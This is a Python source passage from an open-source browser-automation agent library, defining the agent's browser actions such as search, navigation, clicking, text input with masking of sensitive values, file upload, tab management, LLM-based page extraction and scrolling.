logging.getLogger(__name__) # Import EnhancedDOMTreeNode and rebuild event models that have forward references to it # This must be done after all imports are complete ClickElementEvent.model_rebuild() TypeTextEvent.model_rebuild() ScrollEvent.model_rebuild() UploadFileEvent.model_rebuild() Context = TypeVar('Context') T = TypeVar('T', bound=BaseModel) def _detect_sensitive_key_name(text: str, sensitive_data: dict[str, str | dict[str, str]] | None) -> str | None: """Detect which sensitive key name corresponds to the given text value.""" if not sensitive_data or not text: return None # Collect all sensitive values and their keys for domain_or_key, content in sensitive_data.items(): if isinstance(content, dict): # New format: {domain: {key: value}} for key, value in content.items(): if value and value == text: return key elif content: # Old format: {key: value} if content == text: return domain_or_key return None def handle_browser_error(e: BrowserError) -> ActionResult: if e.long_term_memory is not None: if e.short_term_memory is not None: return ActionResult( extracted_content=e.short_term_memory, error=e.long_term_memory, include_extracted_content_only_once=True ) else: return ActionResult(error=e.long_term_memory) # Fallback to original error handling if long_term_memory is None logger.warning( '⚠️ A BrowserError was raised without long_term_memory - always set long_term_memory when raising BrowserError to propagate right messages to LLM.' ) raise e class Tools(Generic[Context]): def __init__( self, exclude_actions: list[str] | None = None, output_model: type[T] | None = None, display_files_in_done_text: bool = True, ): self.registry = Registry[Context](exclude_actions if exclude_actions is not None else []) self.display_files_in_done_text = display_files_in_done_text self._output_model: type[BaseModel] | None = output_model self._coordinate_clicking_enabled: bool = False """Register all default browser actions""" self._register_done_action(output_model) # Basic Navigation Actions @self.registry.action( '', param_model=SearchAction, ) async def search(params: SearchAction, browser_session: BrowserSession): import urllib.parse # Encode query for URL safety encoded_query = urllib.parse.quote_plus(params.query) # Build search URL based on search engine search_engines = { 'duckduckgo': f'https://duckduckgo.com/?q={encoded_query}', 'google': f'https://www.google.com/search?q={encoded_query}&udm=14', 'bing': f'https://www.bing.com/search?q={encoded_query}', } if params.engine.lower() not in search_engines: return ActionResult(error=f'Unsupported search engine: {params.engine}. Options: duckduckgo, google, bing') search_url = search_engines[params.engine.lower()] # Simple tab logic: use current tab by default use_new_tab = False # Dispatch navigation event try: event = browser_session.event_bus.dispatch( NavigateToUrlEvent( url=search_url, new_tab=use_new_tab, ) ) await event await event.event_result(raise_if_any=True, raise_if_none=False) memory = f"Searched {params.engine.title()} for '{params.query}'" msg = f'🔍 {memory}' logger.info(msg) return ActionResult(extracted_content=memory, long_term_memory=memory) except Exception as e: logger.error(f'Failed to search {params.engine}: {e}') return ActionResult(error=f'Failed to search {params.engine} for "{params.query}": {str(e)}') @self.registry.action( '', param_model=NavigateAction, ) async def navigate(params: NavigateAction, browser_session: BrowserSession): try: # Dispatch navigation event event = browser_session.event_bus.dispatch(NavigateToUrlEvent(url=params.url, new_tab=params.new_tab)) await event await event.event_result(raise_if_any=True, raise_if_none=False) if params.new_tab: memory = f'Opened new tab with URL {params.url}' msg = f'🔗 Opened new tab with url {params.url}' else: memory = f'Navigated to {params.url}' msg = f'🔗 {memory}' logger.info(msg) return ActionResult(extracted_content=msg, long_term_memory=memory) except Exception as e: error_msg = str(e) # Always log the actual error first for debugging browser_session.logger.error(f'❌ Navigation failed: {error_msg}') # Check if it's specifically a RuntimeError about CDP client if isinstance(e, RuntimeError) and 'CDP client not initialized' in error_msg: browser_session.logger.error('❌ Browser connection failed - CDP client not properly initialized') return ActionResult(error=f'Browser connection error: {error_msg}') # Check for network-related errors elif any( err in error_msg for err in [ 'ERR_NAME_NOT_RESOLVED', 'ERR_INTERNET_DISCONNECTED', 'ERR_CONNECTION_REFUSED', 'ERR_TIMED_OUT', 'net::', ] ): site_unavailable_msg = f'Navigation failed - site unavailable: {params.url}' browser_session.logger.warning(f'⚠️ {site_unavailable_msg} - {error_msg}') return ActionResult(error=site_unavailable_msg) else: # Return error in ActionResult instead of re-raising return ActionResult(error=f'Navigation failed: {str(e)}') @self.registry.action('Go back', param_model=NoParamsAction) async def go_back(_: NoParamsAction, browser_session: BrowserSession): try: event = browser_session.event_bus.dispatch(GoBackEvent()) await event memory = 'Navigated back' msg = f'🔙 {memory}' logger.info(msg) return ActionResult(extracted_content=memory) except Exception as e: logger.error(f'Failed to dispatch GoBackEvent: {type(e).__name__}: {e}') error_msg = f'Failed to go back: {str(e)}' return ActionResult(error=error_msg) @self.registry.action('Wait for x seconds.') async def wait(seconds: int = 3): # Cap wait time at maximum 30 seconds # Reduce the wait time by 3 seconds to account for the llm call which takes at least 3 seconds # So if the model decides to wait for 5 seconds, the llm call took at least 3 seconds, so we only need to wait for 2 seconds # Note by Mert: the above doesnt make sense because we do the LLM call right after this or this could be followed by another action after which we would like to wait # so I revert this. actual_seconds = min(max(seconds - 1, 0), 30) memory = f'Waited for {seconds} seconds' logger.info(f'🕒 waited for {seconds} second{"" if seconds == 1 else "s"}') await asyncio.sleep(actual_seconds) return ActionResult(extracted_content=memory, long_term_memory=memory) # Helper function for coordinate conversion def _convert_llm_coordinates_to_viewport(llm_x: int, llm_y: int, browser_session: BrowserSession) -> tuple[int, int]: """Convert coordinates from LLM screenshot size to original viewport size.""" if browser_session.llm_screenshot_size and browser_session._original_viewport_size: original_width, original_height = browser_session._original_viewport_size llm_width, llm_height = browser_session.llm_screenshot_size # Convert coordinates using fractions actual_x = int((llm_x / llm_width) * original_width) actual_y = int((llm_y / llm_height) * original_height) logger.info( f'🔄 Converting coordinates: LLM ({llm_x}, {llm_y}) @ {llm_width}x{llm_height} ' f'→ Viewport ({actual_x}, {actual_y}) @ {original_width}x{original_height}' ) return actual_x, actual_y return llm_x, llm_y # Element Interaction Actions async def _click_by_coordinate(params: ClickElementAction, browser_session: BrowserSession) -> ActionResult: # Ensure coordinates are provided (type safety) if params.coordinate_x is None or params.coordinate_y is None: return ActionResult(error='Both coordinate_x and coordinate_y must be provided') try: # Convert coordinates from LLM size to original viewport size if resizing was used actual_x, actual_y = _convert_llm_coordinates_to_viewport( params.coordinate_x, params.coordinate_y, browser_session ) # Highlight the coordinate being clicked (truly non-blocking) asyncio.create_task(browser_session.highlight_coordinate_click(actual_x, actual_y)) # Dispatch ClickCoordinateEvent - handler will check for safety and click event = browser_session.event_bus.dispatch( ClickCoordinateEvent(coordinate_x=actual_x, coordinate_y=actual_y, force=True) ) await event # Wait for handler to complete and get any exception or metadata click_metadata = await event.event_result(raise_if_any=True, raise_if_none=False) # Check for validation errors (only happens when force=False) if isinstance(click_metadata, dict) and 'validation_error' in click_metadata: error_msg = click_metadata['validation_error'] return ActionResult(error=error_msg) memory = f'Clicked on coordinate {params.coordinate_x}, {params.coordinate_y}' msg = f'🖱️ {memory}' logger.info(msg) return ActionResult( extracted_content=memory, metadata={'click_x': actual_x, 'click_y': actual_y}, ) except BrowserError as e: return handle_browser_error(e) except Exception as e: error_msg = f'Failed to click at coordinates ({params.coordinate_x}, {params.coordinate_y}).' return ActionResult(error=error_msg) async def _click_by_index( params: ClickElementAction | ClickElementActionIndexOnly, browser_session: BrowserSession ) -> ActionResult: assert params.index is not None try: assert params.index != 0, ( 'Cannot click on element with index 0. If there are no interactive elements use wait(), refresh(), etc. to troubleshoot' ) # Look up the node from the selector map node = await browser_session.get_element_by_index(params.index) if node is None: msg = f'Element index {params.index} not available - page may have changed. Try refreshing browser state.' logger.warning(f'⚠️ {msg}') return ActionResult(extracted_content=msg) # Get description of clicked element element_desc = get_click_description(node) # Highlight the element being clicked (truly non-blocking) create_task_with_error_handling( browser_session.highlight_interaction_element(node), name='highlight_click_element', suppress_exceptions=True ) event = browser_session.event_bus.dispatch(ClickElementEvent(node=node)) await event # Wait for handler to complete and get any exception or metadata click_metadata = await event.event_result(raise_if_any=True, raise_if_none=False) # Check if result contains validation error (e.g., trying to click <select> or file input) if isinstance(click_metadata, dict) and 'validation_error' in click_metadata: error_msg = click_metadata['validation_error'] # If it's a select element, try to get dropdown options as a helpful shortcut if 'Cannot click on <select> elements.' in error_msg: try: return await dropdown_options( params=GetDropdownOptionsAction(index=params.index), browser_session=browser_session ) except Exception as dropdown_error: logger.debug( f'Failed to get dropdown options as shortcut during click on dropdown: {type(dropdown_error).__name__}: {dropdown_error}' ) return ActionResult(error=error_msg) # Build memory with element info memory = f'Clicked {element_desc}' logger.info(f'🖱️ {memory}') # Include click coordinates in metadata if available return ActionResult( extracted_content=memory, metadata=click_metadata if isinstance(click_metadata, dict) else None, ) except BrowserError as e: return handle_browser_error(e) except Exception as e: error_msg = f'Failed to click element {params.index}: {str(e)}' return ActionResult(error=error_msg) # Store click handlers for re-registration self._click_by_index = _click_by_index self._click_by_coordinate = _click_by_coordinate # Register click action (index-only by default) self._register_click_action() @self.registry.action( 'Input text into element by index.', param_model=InputTextAction, ) async def input( params: InputTextAction, browser_session: BrowserSession, has_sensitive_data: bool = False, sensitive_data: dict[str, str | dict[str, str]] | None = None, ): # Look up the node from the selector map node = await browser_session.get_element_by_index(params.index) if node is None: msg = f'Element index {params.index} not available - page may have changed. Try refreshing browser state.' logger.warning(f'⚠️ {msg}') return ActionResult(extracted_content=msg) # Highlight the element being typed into (truly non-blocking) create_task_with_error_handling( browser_session.highlight_interaction_element(node), name='highlight_type_element', suppress_exceptions=True ) # Dispatch type text event with node try: # Detect which sensitive key is being used sensitive_key_name = None if has_sensitive_data and sensitive_data: sensitive_key_name = _detect_sensitive_key_name(params.text, sensitive_data) event = browser_session.event_bus.dispatch( TypeTextEvent( node=node, text=params.text, clear=params.clear, is_sensitive=has_sensitive_data, sensitive_key_name=sensitive_key_name, ) ) await event input_metadata = await event.event_result(raise_if_any=True, raise_if_none=False) # Create message with sensitive data handling if has_sensitive_data: if sensitive_key_name: msg = f'Typed {sensitive_key_name}' log_msg = f'Typed <{sensitive_key_name}>' else: msg = 'Typed sensitive data' log_msg = 'Typed <sensitive>' else: msg = f"Typed '{params.text}'" log_msg = f"Typed '{params.text}'" logger.debug(log_msg) # Include input coordinates in metadata if available return ActionResult( extracted_content=msg, long_term_memory=msg, metadata=input_metadata if isinstance(input_metadata, dict) else None, ) except BrowserError as e: return handle_browser_error(e) except Exception as e: # Log the full error for debugging logger.error(f'Failed to dispatch TypeTextEvent: {type(e).__name__}: {e}') error_msg = f'Failed to type text into element {params.index}: {e}' return ActionResult(error=error_msg) @self.registry.action( '', param_model=UploadFileAction, ) async def upload_file( params: UploadFileAction, browser_session: BrowserSession, available_file_paths: list[str], file_system: FileSystem ): # Check if file is in available_file_paths (user-provided or downloaded files) # For remote browsers (is_local=False), we allow absolute remote paths even if not tracked locally if params.path not in available_file_paths: # Also check if it's a recently downloaded file that might not be in available_file_paths yet downloaded_files = browser_session.downloaded_files if params.path not in downloaded_files: # Finally, check if it's a file in the FileSystem service if file_system and file_system.get_dir(): # Check if the file is actually managed by the FileSystem service # The path should be just the filename for FileSystem files file_obj = file_system.get_file(params.path) if file_obj: # File is managed by FileSystem, construct the full path file_system_path = str(file_system.get_dir() / params.path) params = UploadFileAction(index=params.index, path=file_system_path) else: # If browser is remote, allow passing a remote-accessible absolute path if not browser_session.is_local: pass else: msg = f'File path {params.path} is not available. To fix: The user must add this file path to the available_file_paths parameter when creating the Agent. Example: Agent(task="...", llm=llm, browser=browser, available_file_paths=["{params.path}"])' logger.error(f'❌ {msg}') return ActionResult(error=msg) else: # If browser is remote, allow passing a remote-accessible absolute path if not browser_session.is_local: pass else: msg = f'File path {params.path} is not available. To fix: The user must add this file path to the available_file_paths parameter when creating the Agent. Example: Agent(task="...", llm=llm, browser=browser, available_file_paths=["{params.path}"])' raise BrowserError(message=msg, long_term_memory=msg) # For local browsers, ensure the file exists on the local filesystem if browser_session.is_local: if not os.path.exists(params.path): msg = f'File {params.path} does not exist' return ActionResult(error=msg) # Get the selector map to find the node selector_map = await browser_session.get_selector_map() if params.index not in selector_map: msg = f'Element with index {params.index} does not exist.' return ActionResult(error=msg) node = selector_map[params.index] # Helper function to find file input near the selected element def find_file_input_near_element( node: EnhancedDOMTreeNode, max_height: int = 3, max_descendant_depth: int = 3 ) -> EnhancedDOMTreeNode | None: """Find the closest file input to the selected element.""" def find_file_input_in_descendants(n: EnhancedDOMTreeNode, depth: int) -> EnhancedDOMTreeNode | None: if depth < 0: return None if browser_session.is_file_input(n): return n for child in n.children_nodes or []: result = find_file_input_in_descendants(child, depth - 1) if result: return result return None current = node for _ in range(max_height + 1): # Check the current node itself if browser_session.is_file_input(current): return current # Check all descendants of the current node result = find_file_input_in_descendants(current, max_descendant_depth) if result: return result # Check all siblings and their descendants if current.parent_node: for sibling in current.parent_node.children_nodes or []: if sibling is current: continue if browser_session.is_file_input(sibling): return sibling result = find_file_input_in_descendants(sibling, max_descendant_depth) if result: return result current = current.parent_node if not current: break return None # Try to find a file input element near the selected element file_input_node = find_file_input_near_element(node) # Highlight the file input element if found (truly non-blocking) if file_input_node: create_task_with_error_handling( browser_session.highlight_interaction_element(file_input_node), name='highlight_file_input', suppress_exceptions=True, ) # If not found near the selected element, fallback to finding the closest file input to current scroll position if file_input_node is None: logger.info( f'No file upload element found near index {params.index}, searching for closest file input to scroll position' ) # Get current scroll position cdp_session = await browser_session.get_or_create_cdp_session() try: scroll_info = await cdp_session.cdp_client.send.Runtime.evaluate( params={'expression': 'window.scrollY || window.pageYOffset || 0'}, session_id=cdp_session.session_id ) current_scroll_y = scroll_info.get('result', {}).get('value', 0) except Exception: current_scroll_y = 0 # Find all file inputs in the selector map and pick the closest one to scroll position closest_file_input = None min_distance = float('inf') for idx, element in selector_map.items(): if browser_session.is_file_input(element): # Get element's Y position if element.absolute_position: element_y = element.absolute_position.y distance = abs(element_y - current_scroll_y) if distance < min_distance: min_distance = distance closest_file_input = element if closest_file_input: file_input_node = closest_file_input logger.info(f'Found file input closest to scroll position (distance: {min_distance}px)') # Highlight the fallback file input element (truly non-blocking) create_task_with_error_handling( browser_session.highlight_interaction_element(file_input_node), name='highlight_file_input_fallback', suppress_exceptions=True, ) else: msg = 'No file upload element found on the page' logger.error(msg) raise BrowserError(msg) # TODO: figure out why this fails sometimes + add fallback hail mary, just look for any file input on page # Dispatch upload file event with the file input node try: event = browser_session.event_bus.dispatch(UploadFileEvent(node=file_input_node, file_path=params.path)) await event await event.event_result(raise_if_any=True, raise_if_none=False) msg = f'Successfully uploaded file to index {params.index}' logger.info(f'📁 {msg}') return ActionResult( extracted_content=msg, long_term_memory=f'Uploaded file {params.path} to element {params.index}', ) except Exception as e: logger.error(f'Failed to upload file: {e}') raise BrowserError(f'Failed to upload file: {e}') # Tab Management Actions @self.registry.action( 'Switch to another open tab by tab_id. Tab IDs are shown in browser state tabs list (last 4 chars of target_id). Use when you need to work with content in a different tab.', param_model=SwitchTabAction, ) async def switch(params: SwitchTabAction, browser_session: BrowserSession): # Simple switch tab logic try: target_id = await browser_session.get_target_id_from_tab_id(params.tab_id) event = browser_session.event_bus.dispatch(SwitchTabEvent(target_id=target_id)) await event new_target_id = await event.event_result(raise_if_any=False, raise_if_none=False) # Don't raise on errors if new_target_id: memory = f'Switched to tab #{new_target_id[-4:]}' else: memory = f'Switched to tab #{params.tab_id}' logger.info(f'🔄 {memory}') return ActionResult(extracted_content=memory, long_term_memory=memory) except Exception as e: logger.warning(f'Tab switch may have failed: {e}') memory = f'Attempted to switch to tab #{params.tab_id}' return ActionResult(extracted_content=memory, long_term_memory=memory) @self.registry.action( 'Close a tab by tab_id. Tab IDs are shown in browser state tabs list (last 4 chars of target_id). Use to clean up tabs you no longer need.', param_model=CloseTabAction, ) async def close(params: CloseTabAction, browser_session: BrowserSession): # Simple close tab logic try: target_id = await browser_session.get_target_id_from_tab_id(params.tab_id) # Dispatch close tab event - handle stale target IDs gracefully event = browser_session.event_bus.dispatch(CloseTabEvent(target_id=target_id)) await event await event.event_result(raise_if_any=False, raise_if_none=False) # Don't raise on errors memory = f'Closed tab #{params.tab_id}' logger.info(f'🗑️ {memory}') return ActionResult( extracted_content=memory, long_term_memory=memory, ) except Exception as e: # Handle stale target IDs gracefully logger.warning(f'Tab {params.tab_id} may already be closed: {e}') memory = f'Tab #{params.tab_id} closed (was already closed or invalid)' return ActionResult( extracted_content=memory, long_term_memory=memory, ) @self.registry.action( """LLM extracts structured data from page markdown. Use when: on right page, know what to extract, haven't called before on same page+query. Can't get interactive elements. Set extract_links=True for URLs. Use start_from_char if previous extraction was truncated to extract data further down the page.""", param_model=ExtractAction, ) async def extract( params: ExtractAction, browser_session: BrowserSession, page_extraction_llm: BaseChatModel, file_system: FileSystem, ): # Constants MAX_CHAR_LIMIT = 30000 query = params['query'] if isinstance(params, dict) else params.query extract_links = params['extract_links'] if isinstance(params, dict) else params.extract_links start_from_char = params['start_from_char'] if isinstance(params, dict) else params.start_from_char # Extract clean markdown using the unified method try: from browser_use.dom.markdown_extractor import extract_clean_markdown content, content_stats = await extract_clean_markdown( browser_session=browser_session, extract_links=extract_links ) except Exception as e: raise RuntimeError(f'Could not extract clean markdown: {type(e).__name__}') # Original content length for processing final_filtered_length = content_stats['final_filtered_chars'] if start_from_char > 0: if start_from_char >= len(content): return ActionResult( error=f'start_from_char ({start_from_char}) exceeds content length {final_filtered_length} characters.' ) content = content[start_from_char:] content_stats['started_from_char'] = start_from_char # Smart truncation with context preservation truncated = False if len(content) > MAX_CHAR_LIMIT: # Try to truncate at a natural break point (paragraph, sentence) truncate_at = MAX_CHAR_LIMIT # Look for paragraph break within last 500 chars of limit paragraph_break = content.rfind('\n\n', MAX_CHAR_LIMIT - 500, MAX_CHAR_LIMIT) if paragraph_break > 0: truncate_at = paragraph_break else: # Look for sentence break within last 200 chars of limit sentence_break = content.rfind('.', MAX_CHAR_LIMIT - 200, MAX_CHAR_LIMIT) if sentence_break > 0: truncate_at = sentence_break + 1 content = content[:truncate_at] truncated = True next_start = (start_from_char or 0) + truncate_at content_stats['truncated_at_char'] = truncate_at content_stats['next_start_char'] = next_start # Add content statistics to the result original_html_length = content_stats['original_html_chars'] initial_markdown_length = content_stats['initial_markdown_chars'] chars_filtered = content_stats['filtered_chars_removed'] stats_summary = f"""Content processed: {original_html_length:,} HTML chars → {initial_markdown_length:,} initial markdown → {final_filtered_length:,} filtered markdown""" if start_from_char > 0: stats_summary += f' (started from char {start_from_char:,})' if truncated: stats_summary += f' → {len(content):,} final chars (truncated, use start_from_char={content_stats["next_start_char"]} to continue)' elif chars_filtered > 0: stats_summary += f' (filtered {chars_filtered:,} chars of noise)' system_prompt = """ You are an expert at extracting data from the markdown of a webpage. <input> You will be given a query and the markdown of a webpage that has been filtered to remove noise and advertising content. </input> <instructions> - You are tasked to extract information from the webpage that is relevant to the query. - You should ONLY use the information available in the webpage to answer the query. Do not make up information or provide guess from your own knowledge. - If the information relevant to the query is not available in the page, your response should mention that. - If the query asks for all items, products, etc., make sure to directly list all of them. - If the content was truncated and you need more information, note that the user can use start_from_char parameter to continue from where truncation occurred. </instructions> <output> - Your output should present ALL the information relevant to the query in a concise way. - Do not answer in conversational format - directly output the relevant information or that the information is unavailable. </output> """.strip() # Sanitize surrogates from content to prevent UTF-8 encoding errors content = sanitize_surrogates(content) query = sanitize_surrogates(query) prompt = f'<query>\n{query}\n</query>\n\n<content_stats>\n{stats_summary}\n</content_stats>\n\n<webpage_content>\n{content}\n</webpage_content>' try: response = await asyncio.wait_for( page_extraction_llm.ainvoke([SystemMessage(content=system_prompt), UserMessage(content=prompt)]), timeout=120.0, ) current_url = await browser_session.get_current_page_url() extracted_content = ( f'<url>\n{current_url}\n</url>\n<query>\n{query}\n</query>\n<result>\n{response.completion}\n</result>' ) # Simple memory handling MAX_MEMORY_LENGTH = 1000 if len(extracted_content) < MAX_MEMORY_LENGTH: memory = extracted_content include_extracted_content_only_once = False else: file_name = await file_system.save_extracted_content(extracted_content) memory = f'Query: {query}\nContent in {file_name} and once in <read_state>.' include_extracted_content_only_once = True logger.info(f'📄 {memory}') return ActionResult( extracted_content=extracted_content, include_extracted_content_only_once=include_extracted_content_only_once, long_term_memory=memory, ) except Exception as e: logger.debug(f'Error extracting content: {e}') raise RuntimeError(str(e)) @self.registry.action( """Scroll by pages. REQUIRED: down=True/False (True=scroll down, False=scroll up, default=True). Optional: pages=0.5-10.0 (default 1.0). Use index for scroll containers (dropdowns/custom UI). High pages (10) reaches bottom. Multi-page scrolls sequentially. Viewport-based height, fallback 1000px/page.""", param_model=ScrollAction, ) async def scroll(params: ScrollAction, browser_session: BrowserSession): try: # Look up the node from the selector map if index is provided # Special case: index 0 means scroll the whole page (root/body element) node = None if params.index is not None and params.index != 0: node = await browser_session.get_element_by_index(params.index) if node is None: # Element does not exist msg = f'Element index {params.index} not found in browser state' return ActionResult(error=msg) direction = 'down' if params.down else 'up' target = f'element {params.index}' if params.index is not None and params.index != 0 else '' # Get actual viewport height for more accurate scrolling try: cdp_session = await browser_session.get_or_create_cdp_session() metrics = await cdp_session.cdp_client.send.Page.getLayoutMetrics(session_id=cdp_session.session_id) # Use cssVisualViewport for the most accurate representation css_viewport = metrics.get('cssVisualViewport', {}) css_layout_viewport = metrics.get('cssLayoutViewport', {}) # Get viewport height, prioritizing cssVisualViewport viewport_height = int(css_viewport.get('clientHeight') or css_layout_viewport.get('clientHeight', 1000)) logger.debug(f'Detected viewport height: {viewport_height}px')
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
true